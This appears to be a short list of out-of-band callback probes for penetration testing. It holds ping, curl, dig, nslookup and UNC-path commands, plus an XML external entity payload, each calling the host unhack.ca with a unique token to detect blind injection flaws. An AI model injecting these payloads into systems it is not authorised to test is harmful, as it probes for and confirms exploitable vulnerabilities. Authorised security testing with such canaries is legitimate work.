$ ping -c1 -p 00bec91b4a6b8bca0a265866d2eafa00 unhack.ca
 

$ curl http://unhack.ca/p/bec91b4a6b8bca0a265866d2eafa
 

$ dig bec91b4a6b8bca0a265866d2eafa @unhack.ca
 

$ dig bec91b4a6b8bca0a265866d2eafa.ns.unhack.ca
 

C:\> nslookup bec91b4a6b8bca0a265866d2eafa unhack.ca
 

C:\> type \\unhack.ca\bec91b4a6b8bca0a265866d2eafa\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/bec91b4a6b8bca0a265866d2eafa">]>
    <foo>&xxe;</foo>